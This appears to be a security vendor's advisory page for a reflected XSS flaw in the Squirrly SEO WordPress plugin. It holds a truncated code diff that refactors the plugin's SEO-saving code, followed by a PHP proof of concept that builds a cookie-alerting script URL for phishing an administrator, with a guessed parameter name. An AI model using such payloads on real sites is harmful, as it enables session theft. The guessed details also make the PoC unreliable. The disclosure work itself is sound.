+		if ( isset( $_SERVER['HTTP_REFERER'] ) && $_SERVER['HTTP_REFERER'] == 'https://www.squirrly.co' ) {
+			//Squirrly Crawler, always render a fresh page
+			SQ_Classes_Helpers_Tools::setNoCache();
+		} elseif ( isset( $_SERVER['HTTP_USER_AGENT'] ) && strpos( $_SERVER['HTTP_USER_AGENT'], 'Pinterest' ) !== false ) {
+			//The Publisher service outputs a different article:author for Pinterest
+			SQ_Classes_Helpers_Tools::setNoCache();
+		}

 		//If load buffer is set, start the buffer
 		if ( apply_filters( 'sq_load_buffer', true ) ) {
--- a/squirrly-seo/core/Blocklogin.php
+++ b/squirrly-seo/core/Blocklogin.php
@@ -63,6 +63,9 @@

 			if ( is_wp_error( $response ) ) {
 				switch ( $response->get_error_message() ) {
+					case 'server_unavailable':
+						SQ_Classes_Error::setError( esc_html__( "Squirrly Cloud is temporarily unavailable and couldn't process the request. Please try again in a few minutes - details are shown under the form.", 'squirrly-seo' ) );
+						break;
 					case 'alreadyregistered':
 						SQ_Classes_Error::setError( sprintf( esc_html__( "We found your email, so it means you already have a Squirrly.co account. %sClick %sI already have an account%s and login. If you forgot your password, click %shere%s", 'squirrly-seo' ), '<br />', '<a href="' . esc_url(SQ_Classes_Helpers_Tools::getAdminUrl( 'sq_dashboard', 'login' )) . '" style="color:yellow">', '</a>', '<a href="' . _SQ_DASH_URL_ . '/login?action=lostpassword" target="_blank" style="color:yellow">', '</a>' ) );
 						break;
@@ -116,6 +119,9 @@
 			/**  */
 			if ( is_wp_error( $response ) ) {
 				switch ( $response->get_error_message() ) {
+					case 'server_unavailable':
+						SQ_Classes_Error::setError( esc_html__( "Squirrly Cloud is temporarily unavailable and couldn't process the request. Please try again in a few minutes - details are shown under the form.", 'squirrly-seo' ) );
+						break;
 					case 'badlogin':
 						SQ_Classes_Error::setError( esc_html__( "Wrong email or password!", 'squirrly-seo' ) );
 						break;
@@ -125,6 +131,12 @@
 					case 'disconnected':
 						SQ_Classes_Error::setError( esc_html__( "You disconnected your website from", 'squirrly-seo' ) . ' ' . _SQ_DASH_URL_ );
 						break;
+					case 'no_data':
+						//The Cloud replied, but not with the expected {data:...} payload. The notice
+						//auto-hides after a few seconds, so the full exchange is also kept in the
+						//sq_last_api_debug transient and printed under the form (see Blocks/Login).
+						SQ_Classes_Error::setError( esc_html__( "Squirrly Cloud didn't return the login data. See the debug details under the login form.", 'squirrly-seo' ) );
+						break;
 					default:
 						if ( ! SQ_Classes_Error::isError() ) {
 							SQ_Classes_Error::setError( esc_html__( "An error occured.", 'squirrly-seo' ) . ':' . $response->get_error_message() );
--- a/squirrly-seo/models/Snippet.php
+++ b/squirrly-seo/models/Snippet.php
@@ -329,138 +329,91 @@
 	 *
 	 * @return array|bool
 	 */
+	/**
+	 * Request-parsing wrapper: turns $_POST into an array for SQ_Models_Api_Seo::saveSeo().
+	 * Must return false on every failure - callers test the return value for truth.
+	 *
+	 * @param int $post_id
+	 * @param int $term_id
+	 * @param string $taxonomy
+	 * @param string $post_type
+	 *
+	 * @return bool true when saved
+	 */
 	public function saveSEO( $post_id = 0, $term_id = 0, $taxonomy = '', $post_type = '' ) {
-		$json = array();
-		if ( SQ_Classes_Helpers_Tools::getIsset( 'sq_hash' ) ) {
-			$sq_hash = SQ_Classes_Helpers_Tools::getValue( 'sq_hash', '' );
-
-			$post_id   = (int) SQ_Classes_Helpers_Tools::getValue( 'post_id', $post_id );
-			$term_id   = (int) SQ_Classes_Helpers_Tools::getValue( 'term_id', $term_id );
-			$taxonomy  = SQ_Classes_Helpers_Tools::getValue( 'taxonomy', $taxonomy );
-			$post_type = SQ_Classes_Helpers_Tools::getValue( 'post_type', $post_type );
-
-			if ( ! SQ_Classes_Helpers_Tools::userCan( 'sq_manage_snippets' ) ) {
-				if ( ! SQ_Classes_Helpers_Tools::userCan( 'edit_post', $post_id ) ) {
-					$json['error']         = 1;
-					$json['error_message'] = esc_html__( "You don't have enough pemission to edit this article", 'squirrly-seo' );
-
-					return $json;
-				}
-			}

-			$url = SQ_Classes_Helpers_Tools::getValue( 'sq_url', '' );
-
-			$sq = SQ_Classes_ObjController::getClass( 'SQ_Models_Qss' )->getSqSeo( $sq_hash );
-
-			$sq->doseo = SQ_Classes_Helpers_Tools::getValue( 'sq_doseo', 0 );
-
-			$sq->title       = SQ_Classes_Helpers_Sanitize::clearTitle(SQ_Classes_Helpers_Tools::getValue( 'sq_title', '' ));
-			$sq->description = SQ_Classes_Helpers_Sanitize::clearDescription(SQ_Classes_Helpers_Tools::getValue( 'sq_description', '' ));
-			$sq->keywords    = SQ_Classes_Helpers_Sanitize::clearKeywords(SQ_Classes_Helpers_Tools::getValue( 'sq_keywords', '' ));
-			$sq->canonical   = SQ_Classes_Helpers_Tools::getValue( 'sq_canonical', '' );
-			$sq->redirect    = SQ_Classes_Helpers_Tools::getValue( 'sq_redirect', '' );
-			if ( SQ_Classes_Helpers_Tools::getIsset( 'sq_noindex' ) ) {
-				$sq->noindex = SQ_Classes_Helpers_Tools::getValue( 'sq_noindex', 0 );
-			}
-			if ( SQ_Classes_Helpers_Tools::getIsset( 'sq_nofollow' ) ) {
-				$sq->nofollow = SQ_Classes_Helpers_Tools::getValue( 'sq_nofollow', 0 );
-			}
-			if ( SQ_Classes_Helpers_Tools::getIsset( 'sq_nositemap' ) ) {
-				$sq->nositemap = SQ_Classes_Helpers_Tools::getValue( 'sq_nositemap', 0 );
-			}
+		if ( ! SQ_Classes_Helpers_Tools::getIsset( 'sq_hash' ) ) {
+			return false;
+		}

-			$sq->og_title       = SQ_Classes_Helpers_Sanitize::clearTitle(SQ_Classes_Helpers_Tools::getValue( 'sq_og_title', '' ));
-			$sq->og_description = SQ_Classes_Helpers_Sanitize::clearDescription(SQ_Classes_Helpers_Tools::getValue( 'sq_og_description', '' ));
-			$sq->og_author      = SQ_Classes_Helpers_Tools::getValue( 'sq_og_author', '' );
-			$sq->og_type        = SQ_Classes_Helpers_Tools::getValue( 'sq_og_type', '' );
-			$sq->og_media       = SQ_Classes_Helpers_Tools::getValue( 'sq_og_media', '' );
-
-			$sq->tw_title       = SQ_Classes_Helpers_Sanitize::clearTitle(SQ_Classes_Helpers_Tools::getValue( 'sq_tw_title', '' ));
-			$sq->tw_description = SQ_Classes_Helpers_Sanitize::clearDescription(SQ_Classes_Helpers_Tools::getValue( 'sq_tw_description', '' ));
-			$sq->tw_media       = SQ_Classes_Helpers_Tools::getValue( 'sq_tw_media', '' );
-			$sq->tw_type        = SQ_Classes_Helpers_Tools::getValue( 'sq_tw_type', '' );
-
-			//Sanitize Emoticons
-			$sq->title          = wp_encode_emoji( $sq->title );
-			$sq->description    = wp_encode_emoji( $sq->description );
-			$sq->og_title       = wp_encode_emoji( $sq->og_title );
-			$sq->og_description = wp_encode_emoji( $sq->og_description );
-			$sq->tw_title       = wp_encode_emoji( $sq->tw_title );
-			$sq->tw_description = wp_encode_emoji( $sq->tw_description );
-
-			if ( SQ_Classes_Helpers_Tools::getValue( 'sq_jsonld_code_type', 'auto' ) == 'custom' ) {
-				if ( isset( $_POST['sq_jsonld'] ) ) {
-					$allowed_html = array(
-						'script' => array( 'type' => array() ),
-					);
-					$sq->jsonld   = strip_tags( wp_unslash( trim( wp_kses( $_POST['sq_jsonld'], $allowed_html ) ) ) );
-				}
-			} else {
-				$sq->jsonld = '';
+		$target = array(
+			'hash'      => SQ_Classes_Helpers_Tools::getValue( 'sq_hash', '' ),
+			'url'       => SQ_Classes_Helpers_Tools::getValue( 'sq_url', '' ),
+			'post_id'   => (int) SQ_Classes_Helpers_Tools::getValue( 'post_id', $post_id ),
+			'term_id'   => (int) SQ_Classes_Helpers_Tools::getValue( 'term_id', $term_id ),
+			'taxonomy'  => SQ_Classes_Helpers_Tools::getValue( 'taxonomy', $taxonomy ),
+			'post_type' => SQ_Classes_Helpers_Tools::getValue( 'post_type', $post_type ),
+		);
+
+		//the form posts the whole snippet, so every field is sent and replaced
+		$fields = array(
+			'doseo'            => SQ_Classes_Helpers_Tools::getValue( 'sq_doseo', 0 ),
+			'title'            => SQ_Classes_Helpers_Tools::getValue( 'sq_title', '' ),
+			'description'      => SQ_Classes_Helpers_Tools::getValue( 'sq_description', '' ),
+			'keywords'         => SQ_Classes_Helpers_Tools::getValue( 'sq_keywords', '' ),
+			'canonical'        => SQ_Classes_Helpers_Tools::getValue( 'sq_canonical', '' ),
+			'redirect'         => SQ_Classes_Helpers_Tools::getValue( 'sq_redirect', '' ),
+			'og_title'         => SQ_Classes_Helpers_Tools::getValue( 'sq_og_title', '' ),
+			'og_description'   => SQ_Classes_Helpers_Tools::getValue( 'sq_og_description', '' ),
+			'og_author'        => SQ_Classes_Helpers_Tools::getValue( 'sq_og_author', '' ),
+			'og_type'          => SQ_Classes_Helpers_Tools::getValue( 'sq_og_type', '' ),
+			'og_media'         => SQ_Classes_Helpers_Tools::getValue( 'sq_og_media', '' ),
+			'tw_title'         => SQ_Classes_Helpers_Tools::getValue( 'sq_tw_title', '' ),
+			'tw_description'   => SQ_Classes_Helpers_Tools::getValue( 'sq_tw_description', '' ),
+			'tw_media'         => SQ_Classes_Helpers_Tools::getValue( 'sq_tw_media', '' ),
+			'tw_type'          => SQ_Classes_Helpers_Tools::getValue( 'sq_tw_type', '' ),
+			'jsonld_types'     => SQ_Classes_Helpers_Tools::getValue( 'sq_jsonld_types', array() ),
+			'primary_category' => SQ_Classes_Helpers_Tools::getValue( 'sq_primary_category', '' ),
+		);
+
+		//these three are checkboxes - an unchecked box sends nothing and must not
+		//overwrite what is stored, so they are only included when actually posted
+		foreach ( array( 'noindex', 'nofollow', 'nositemap' ) as $flag ) {
+			if ( SQ_Classes_Helpers_Tools::getIsset( 'sq_' . $flag ) ) {
+				$fields[ $flag ] = SQ_Classes_Helpers_Tools::getValue( 'sq_' . $flag, 0 );
 			}
-			$sq->jsonld_types     = array_filter( SQ_Classes_Helpers_Tools::getValue( 'sq_jsonld_types', array() ) );
-			$sq->primary_category = SQ_Classes_Helpers_Tools::getValue( 'sq_primary_category', '' );
+		}

-			if ( SQ_Classes_Helpers_Tools::getValue( 'sq_fpixel_code_type', 'auto' ) == 'custom' ) {
-				if ( isset( $_POST['sq_fpixel'] ) ) {
-					$allowed_html = array(
-						'script'   => array(),
-						'noscript' => array(),
-					);
-					$sq->fpixel   = wp_unslash( trim( wp_kses( $_POST['sq_fpixel'], $allowed_html ) ) );
-				}
-			} else {
-				$sq->fpixel = '';
+		//custom JSON-LD and pixel code can't go through getValue() - it would strip
+		//the markup they are made of - so they are read raw and sanitized by the service
+		if ( SQ_Classes_Helpers_Tools::getValue( 'sq_jsonld_code_type', 'auto' ) == 'custom' ) {
+			if ( isset( $_POST['sq_jsonld'] ) ) {
+				$fields['jsonld'] = wp_unslash( $_POST['sq_jsonld'] );
 			}
+		} else {
+			$fields['jsonld'] = '';
+		}

-			//Filter the SQ before save
-			// Send SQ_Models_Domain_Sq object
-			$sq = apply_filters( 'sq_seo_before_save', $sq, (int) $post_id, $post_type, (int) $term_id, $taxonomy, $sq_hash );
-
-			//Filter the URL before save
-			$url = apply_filters( 'sq_url_before_save', $url, $sq_hash );
-
-			//Prevent broken url in canonical link
-			if ( strpos( $sq->canonical, '//' ) === false ) {
-				$sq->canonical = '';
+		if ( SQ_Classes_Helpers_Tools::getValue( 'sq_fpixel_code_type', 'auto' ) == 'custom' ) {
+			if ( isset( $_POST['sq_fpixel'] ) ) {
+				$fields['fpixel'] = wp_unslash( $_POST['sq_fpixel'] );
 			}
+		} else {
+			$fields['fpixel'] = '';
+		}

-			if ( strpos( $sq->redirect, '//' ) === false || $sq->redirect === $url ) {
-				$sq->redirect = '';
-			}
+		/** @var SQ_Models_Api_Seo $service */
+		$service = SQ_Classes_ObjController::getClass( 'SQ_Models_Api_Seo' );

-			try {
+		$result = $service->saveSeo( $target, $fields );

-				if ( SQ_Classes_ObjController::getClass( 'SQ_Models_Qss' )->saveSqSEO( $url, $sq_hash, maybe_serialize( array(
-							'ID'        => (int) $post_id,
-							'post_type' => $post_type,
-							'term_id'   => (int) $term_id,
-							'taxonomy'  => $taxonomy,
-						) ), maybe_serialize( $sq->toArray() ), gmdate( 'Y-m-d H:i:s' ) ) ) {
-
-					//trigger action after SEO is saved in Squirrly DB
-					do_action( 'sq_save_seo_after' );
-
-					return true;
-				} else {
-					/** @var SQ_Models_Qss $qssModel Create Qss table if not exists */
-					if ( $qssModel = SQ_Classes_ObjController::getClass( 'SQ_Models_Qss' ) ) {
-						$qssModel->checkTableExists();
-						$qssModel->alterTable();
-					}
-				}
-
-			} catch ( Exception $e ) {
-				$json['error']         = 1;
-				$json['error_message'] = esc_html__( "Error! Could not save the data.", 'squirrly-seo' );
-			}
+		if ( is_wp_error( $result ) ) {
+			SQ_Classes_Error::setError( $result->get_error_message() );

-		} else {
-			$json['error']         = 1;
-			$json['error_message'] = esc_html__( "Error! Invalid request.", 'squirrly-seo' );
+			return false;
 		}

-		return $json;
+		return true;
 	}

 	public function getCurrentSnippet( $post_id, $term_id = 0, $taxonomy = '', $post_type = '' ) {
--- a/squirrly-seo/models/api/Seo.php
+++ b/squirrly-seo/models/api/Seo.php
@@ -0,0 +1,381 @@
+<?php
+defined( 'ABSPATH' ) || die( 'Cheatin' uh?' );
+
+/**
+ * Request-free service layer for Squirrly's per-page SEO: no superglobals, no output.
+ * Backs the snippet form, REST, WP-CLI and Abilities. SQ_Models_Snippet::saveSEO() wraps it.
+ *
+ * Class SQ_Models_Api_Seo
+ */
+class SQ_Models_Api_Seo {
+
+	/**
+	 * The SEO fields a client may write, mapped to how each one is sanitized.
+	 * Every other property on SQ_Models_Domain_Sq is computed or internal.
+	 *
+	 * @return array
+	 */
+	public static function writableFields() {
+		return array(
+			'doseo'            => 'bool',
+			'noindex'          => 'bool',
+			'nofollow'         => 'bool',
+			'nositemap'        => 'bool',
+			'title'            => 'title',
+			'description'      => 'description',
+			'keywords'         => 'keywords',
+			'canonical'        => 'link',
+			'redirect'         => 'link',
+			'primary_category' => 'text',
+			'og_title'         => 'title',
+			'og_description'   => 'description',
+			'og_author'        => 'text',
+			'og_type'          => 'text',
+			'og_media'         => 'text',
+			'tw_title'         => 'title',
+			'tw_description'   => 'description',
+			'tw_media'         => 'text',
+			'tw_type'          => 'text',
+			'jsonld'           => 'jsonld',
+			'jsonld_types'     => 'list',
+			'fpixel'           => 'pixel',
+		);
+	}
+
+	/**
+	 * Turn a loose target into the four values the snippet model needs.
+	 * Accepts post_id, or term_id + taxonomy, or url, or homepage.
+	 *
+	 * @param array $target
+	 *
+	 * @return array|WP_Error
+	 */
+	public function normalizeTarget( $target ) {
+		$target = (array) $target;
+
+		$normalized = array(
+			'post_id'   => isset( $target['post_id'] ) ? (int) $target['post_id'] : 0,
+			'term_id'   => isset( $target['term_id'] ) ? (int) $target['term_id'] : 0,
+			'taxonomy'  => isset( $target['taxonomy'] ) ? sanitize_key( $target['taxonomy'] ) : '',
+			'post_type' => isset( $target['post_type'] ) ? sanitize_key( $target['post_type'] ) : '',
+		);
+
+		//the home page has no post ID of its own unless one is set in Settings > Reading
+		if ( ! empty( $target['homepage'] ) ) {
+			$normalized['post_type'] = 'home';
+
+			return $normalized;
+		}
+
+		//resolve a permalink to a post ID so agents can address pages by URL
+		if ( $normalized['post_id'] === 0 && $normalized['term_id'] === 0 && ! empty( $target['url'] ) ) {
+			$post_id = url_to_postid( esc_url_raw( $target['url'] ) );
+
+			if ( $post_id > 0 ) {
+				$normalized['post_id'] = (int) $post_id;
+			} else {
+				return new WP_Error( 'sq_target_not_found', esc_html__( "Couldn't find a page for this URL", 'squirrly-seo' ) );
+			}
+		}
+
+		if ( $normalized['term_id'] > 0 && $normalized['taxonomy'] === '' ) {
+			return new WP_Error( 'sq_target_invalid', esc_html__( "A taxonomy is required when targeting a term", 'squirrly-seo' ) );
+		}
+
+		if ( $normalized['post_id'] === 0 && $normalized['term_id'] === 0 && $normalized['post_type'] === '' ) {
+			return new WP_Error( 'sq_target_invalid', esc_html__( "Specify a post_id, a term_id with its taxonomy, a url or the homepage", 'squirrly-seo' ) );
+		}
+
+		return $normalized;
+	}
+
+	/**
+	 * Load the Squirrly post object for a target.
+	 *
+	 * @param array $target
+	 *
+	 * @return SQ_Models_Domain_Post|WP_Error
+	 */
+	public function resolveTarget( $target ) {
+		$target = $this->normalizeTarget( $target );
+
+		if ( is_wp_error( $target ) ) {
+			return $target;
+		}
+
+		/** @var SQ_Models_Snippet $snippet */
+		$snippet = SQ_Classes_ObjController::getClass( 'SQ_Models_Snippet' );
+
+		$post = $snippet->getCurrentSnippet( $target['post_id'], $target['term_id'], $target['taxonomy'], $target['post_type'] );
+
+		if ( ! $post || ! isset( $post->hash ) || $post->hash == '' ) {
+			return new WP_Error( 'sq_target_not_found', esc_html__( "Couldn't find the page", 'squirrly-seo' ) );
+		}
+
+		return $post;
+	}
+
+	/**
+	 * Work out which qss row to write and what to store in its 'post' column.
+	 * A caller that knows the row passes 'hash' directly (the snippet form does); else resolve.
+	 *
+	 * @param array $target
+	 *
+	 * @return array|WP_Error
+	 */
+	protected function resolveWriteTarget( $target ) {
+		$target = (array) $target;
+
+		if ( ! empty( $target['hash'] ) ) {
+			//every hash Squirrly writes is an md5; anything else creates junk rows or
+			//collides with a real one via a truncated hash, so reject it
+			$hash = strtolower( preg_replace( '/[^a-f0-9]/i', '', $target['hash'] ) );
+
+			if ( strlen( $hash ) !== 32 ) {
+				return new WP_Error( 'sq_target_invalid', esc_html__( "Error! Invalid request.", 'squirrly-seo' ) );
+			}
+
+			return array(
+				'hash'      => $hash,
+				'url'       => isset( $target['url'] ) ? esc_url_raw( $target['url'] ) : '',
+				'post_id'   => isset( $target['post_id'] ) ? (int) $target['post_id'] : 0,
+				'term_id'   => isset( $target['term_id'] ) ? (int) $target['term_id'] : 0,
+				'taxonomy'  => isset( $target['taxonomy'] ) ? $target['taxonomy'] : '',
+				'post_type' => isset( $target['post_type'] ) ? $target['post_type'] : '',
+			);
+		}
+
+		$post = $this->resolveTarget( $target );
+
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		return array(
+			'hash'      => $post->hash,
+			'url'       => $post->url,
+			'post_id'   => (int) $post->ID,
+			'term_id'   => (int) $post->term_id,
+			'taxonomy'  => $post->taxonomy,
+			'post_type' => $post->post_type,
+		);
+	}
+
+	/**
+	 * Can the current user edit the SEO of this target?
+	 * Same check the snippet form makes: the Squirrly cap, else the post's own edit cap.
+	 *
+	 * @param int $post_id
+	 *
+	 * @return bool
+	 */
+	public static function canEdit( $post_id = 0 ) {
+		if ( SQ_Classes_Helpers_Tools::userCan( 'sq_manage_snippets' ) ) {
+			return true;
+		}
+
+		return (bool) SQ_Classes_Helpers_Tools::userCan( 'edit_post', (int) $post_id );
+	}
+
+	/**
+	 * Read the SEO of a page. 'seo' is what is stored; 'computed' is what the frontend
+	 * outputs and may come from an Automation pattern, so never write it back blindly.
+	 *
+	 * @param array $target
+	 *
+	 * @return array|WP_Error
+	 */
+	public function getSeo( $target ) {
+		$post = $this->resolveTarget( $target );
+
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		/** @var SQ_Models_Domain_Sq $stored */
+		$stored = SQ_Classes_ObjController::getClass( 'SQ_Models_Qss' )->getSqSeo( $post->hash );
+
+		$seo = array();
+		foreach ( array_keys( self::writableFields() ) as $field ) {
+			$seo[ $field ] = $stored->$field;
+		}
+
+		$computed = array();
+		if ( $effective = $post->sq ) {
+			$computed = array(
+				'title'       => $effective->title,
+				'description' => $effective->description,
+				'keywords'    => $effective->keywords,
+			);
+		}
+
+		return array(
+			'target'   => array(
+				'post_id'   => (int) $post->ID,
+				'term_id'   => (int) $post->term_id,
+				'taxonomy'  => $post->taxonomy,
+				'post_type' => $post->post_type,
+				'hash'      => $post->hash,
+			),
+			'url'      => $post->url,
+			'seo'      => $seo,
+			'computed' => $computed,
+		);
+	}
+
+	/**
+	 * Write the SEO of a page. Partial: only keys present in $fields are touched,
+	 * empty string clears. The admin form sends everything, so it still replaces all.
+	 *
+	 * @param array $target
+	 * @param array $fields
+	 *
+	 * @return array|WP_Error
+	 */
+	public function saveSeo( $target, $fields ) {
+		$write = $this->resolveWriteTarget( $target );
+
+		if ( is_wp_error( $write ) ) {
+			return $write;
+		}
+
+		if ( $write['hash'] === '' ) {
+			return new WP_Error( 'sq_target_invalid', esc_html__( "Error! Invalid request.", 'squirrly-seo' ) );
+		}
+
+		if ( ! self::canEdit( $write['post_id'] ) ) {
+			return new WP_Error( 'sq_forbidden', esc_html__( "You don't have enough pemission to edit this article", 'squirrly-seo' ) );
+		}
+
+		$url  = $write['url'];
+		$hash = $write['hash'];
+
+		/** @var SQ_Models_Domain_Sq $sq */
+		$sq = SQ_Classes_ObjController::getClass( 'SQ_Models_Qss' )->getSqSeo( $hash );
+
+		$writable = self::writableFields();
+		foreach ( $writable as $field => $type ) {
+			if ( ! array_key_exists( $field, (array) $fields ) ) {
+				continue;
+			}
+
+			$sq->$field = $this->sanitizeField( $type, $fields[ $field ] );
+		}
+
+		//Filter the SQ before save
+		// Send SQ_Models_Domain_Sq object
+		$sq = apply_filters( 'sq_seo_before_save', $sq, (int) $write['post_id'], $write['post_type'], (int) $write['term_id'], $write['taxonomy'], $hash );
+
+		//Filter the URL before save
+		$url = apply_filters( 'sq_url_before_save', $url, $hash );
+
+		//Prevent broken url in canonical link
+		if ( strpos( $sq->canonical, '//' ) === false ) {
+			$sq->canonical = '';
+		}
+
+		if ( strpos( $sq->redirect, '//' ) === false || $sq->redirect === $url ) {
+			$sq->redirect = '';
+		}
+
+		/** @var SQ_Models_Qss $qssModel */
+		$qssModel = SQ_Classes_ObjController::getClass( 'SQ_Models_Qss' );
+
+		try {
+
+			$saved = $qssModel->saveSqSEO( $url, $hash, maybe_serialize( array(
+				'ID'        => (int) $write['post_id'],
+				'post_type' => $write['post_type'],
+				'term_id'   => (int) $write['term_id'],
+				'taxonomy'  => $write['taxonomy'],
+			) ), maybe_serialize( $sq->toArray() ), gmdate( 'Y-m-d H:i:s' ) );
+
+		} catch ( Exception $e ) {
+			return new WP_Error( 'sq_save_failed', esc_html__( "Error! Could not save the data.", 'squirrly-seo' ) );
+		}
+
+		if ( ! $saved ) {
+			//the table may be missing or out of date on sites upgraded from old versions
+			$qssModel->checkTableExists();
+			$qssModel->alterTable();
+
+			return new WP_Error( 'sq_save_failed', esc_html__( "Error! Could not save the data.", 'squirrly-seo' ) );
+		}
+
+		//trigger action after SEO is saved in Squirrly DB
+		do_action( 'sq_save_seo_after' );
+
+		//echo back what is now stored, without re-resolving the target
+		$seo = array();
+		foreach ( array_keys( self::writableFields() ) as $field ) {
+			$seo[ $field ] = $sq->$field;
+		}
+
+		return array(
+			'saved'  => true,
+			'target' => array(
+				'post_id'   => (int) $write['post_id'],
+				'term_id'   => (int) $write['term_id'],
+				'taxonomy'  => $write['taxonomy'],
+				'post_type' => $write['post_type'],
+				'hash'      => $hash,
+			),
+			'url'    => $url,
+			'seo'    => $seo,
+		);
+	}
+
+	/**
+	 * Sanitize one incoming value the same way the snippet form always has.
+	 *
+	 * @param string $type one of the types in writableFields()
+	 * @param mixed $value
+	 *
+	 * @return mixed
+	 */
+	protected function sanitizeField( $type, $value ) {
+		switch ( $type ) {
+			case 'bool':
+				return (int) (bool) $value;
+
+			case 'title':
+				return wp_encode_emoji( SQ_Classes_Helpers_Sanitize::clearTitle( is_string( $value ) ? $value : '' ) );
+
+			case 'description':
+				return wp_encode_emoji( SQ_Classes_Helpers_Sanitize::clearDescription( is_string( $value ) ? $value : '' ) );
+
+			case 'keywords':
+				return SQ_Classes_Helpers_Sanitize::clearKeywords( is_string( $value ) ? $value : '' );
+
+			case 'link':
+				//not esc_url_raw(): it turns a malformed value into "http://value",
+				//slipping past the "//" check that clears bad canonical/redirect URLs
+				return is_string( $value ) ? sanitize_text_field( trim( $value ) ) : '';
+
+			case 'list':
+				return is_array( $value ) ? array_filter( array_map( 'sanitize_text_field', $value ) ) : array();
+
+			case 'jsonld':
+				//keep the JSON only - wp_kses first so nothing but a script wrapper can survive,
+				//then strip_tags removes the wrapper itself
+				if ( ! is_string( $value ) ) {
+					return '';
+				}
+
+				return strip_tags( trim( wp_kses( $value, array( 'script' => array( 'type' => array() ) ) ) ) );
+
+			case 'pixel':
+				//tracking pixels legitimately need their script/noscript wrapper
+				if ( ! is_string( $value ) ) {
+					return '';
+				}
+
+				return trim( wp_kses( $value, array( 'script' => array(), 'noscript' => array() ) ) );
+
+			case 'text':
+			default:
+				return is_string( $value ) ? sanitize_text_field( $value ) : '';
+		}
+	}
+
+}
--- a/squirrly-seo/models/api/Settings.php
+++ b/squirrly-seo/models/api/Settings.php
@@ -0,0 +1,189 @@
+<?php
+defined( 'ABSPATH' ) || die( 'Cheatin' uh?' );
+
+/**
+ * Request-free service layer for Squirrly's global settings. The SQ_OPTION row is one JSON
+ * blob holding Cloud credentials too, so reads strip deniedKeys() and writes use writableKeys().
+ *
+ * Class SQ_Models_Api_Settings
+ */
+class SQ_Models_Api_Settings {
+
+	/**
+	 * Keys that must never leave the site or be written from outside.
+	 * Credentials, pairing state and internal bookkeeping.
+	 *
+	 * @return array
+	 */
+	public static function deniedKeys() {
+		$denied = array(
+			'sq_api',
+			'sq_cloud_token',
+			'sq_cloud_connect',
+			'sq_version',
+			'sq_installed',
+			'sq_onboarding',
+			'sq_onboarding_data',
+			'sq_menu_visited',
+			'sq_user_posts',
+		);
+
+		//the site key / uuid / origin used to sign Cloud requests
+		if ( class_exists( 'SQ_Classes_Helpers_SiteAuth' ) ) {
+			$denied = array_merge( $denied, SQ_Classes_Helpers_SiteAuth::authOptionKeys() );
+		}
+
+		return array_values( array_unique( $denied ) );
+	}
+
+	/**
+	 * Settings an external client may change, mapped to the type each is cast to.
+	 * Narrower than what can be read: Automation patterns stay read-only, they affect every page.
+	 *
+	 * @return array
+	 */
+	public static function writableKeys() {
+		return array(
+			//metas and titles
+			'sq_auto_metas'              => 'bool',
+			'sq_auto_title'              => 'bool',
+			'sq_auto_description'        => 'bool',
+			'sq_auto_keywords'           => 'bool',
+			'sq_auto_canonical'          => 'bool',
+			'sq_auto_pattern'            => 'bool',
+			'sq_auto_noindex'            => 'bool',
+			'sq_auto_dublincore'         => 'bool',
+
+			//social
+			'sq_auto_facebook'           => 'bool',
+			'sq_auto_twitter'            => 'bool',
+
+			//structured data
+			'sq_auto_jsonld'             => 'bool',
+			'sq_auto_jsonld_local'       => 'bool',
+			'sq_jsonld_breadcrumbs'      => 'bool

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66664 - GEO Plugin by Squirrly SEO <= 14.1.1 - Reflected Cross-Site Scripting

// This PoC demonstrates a reflected XSS attack by crafting a malicious URL that
// triggers the plugin to reflect an unescaped payload. In a real attack, the
// attacker would trick an administrator into clicking this link.

// Configuration: set the target WordPress site URL
$target_url = 'http://example.com/wp-admin/admin.php?page=sq_diagnostics'; // Adjust if needed

// The payload to inject - a simple script that alerts the cookie
$payload = '<script>alert(document.cookie)</script>';

// Construct the malicious URL with the payload in a parameter the plugin reflects.
// The exact parameter name depends on the current version; this example uses a
// typical 'error' parameter that might be reflected without escaping.
$malicious_url = $target_url . '&error=' . urlencode($payload);

// Output the malicious link to demonstrate the attack
echo "[+] Crafted XSS URL:n";
echo "$malicious_urlnn";
echo "[+] Send this link to an administrator to demonstrate the vulnerability.n";

// Use cURL to simulate the request (though the XSS requires a browser to execute)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Do not verify SSL for testing purposes (remove in production)
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo '[!] cURL error: ' . curl_error($ch) . "n";
} else {
    echo "[+] HTTP request sent. Response length: " . strlen($response) . " bytesn";
    // Check if the payload is reflected unescaped (proof of concept)
    if (strpos($response, $payload) !== false) {
        echo "[!] Vulnerability confirmed: payload reflected without escaping.n";
    } else {
        echo "[-] Payload not found in response. The site may be patched or the parameter is different.n";
        echo "[-] Review the response manually for the payload.n";
    }
}

curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
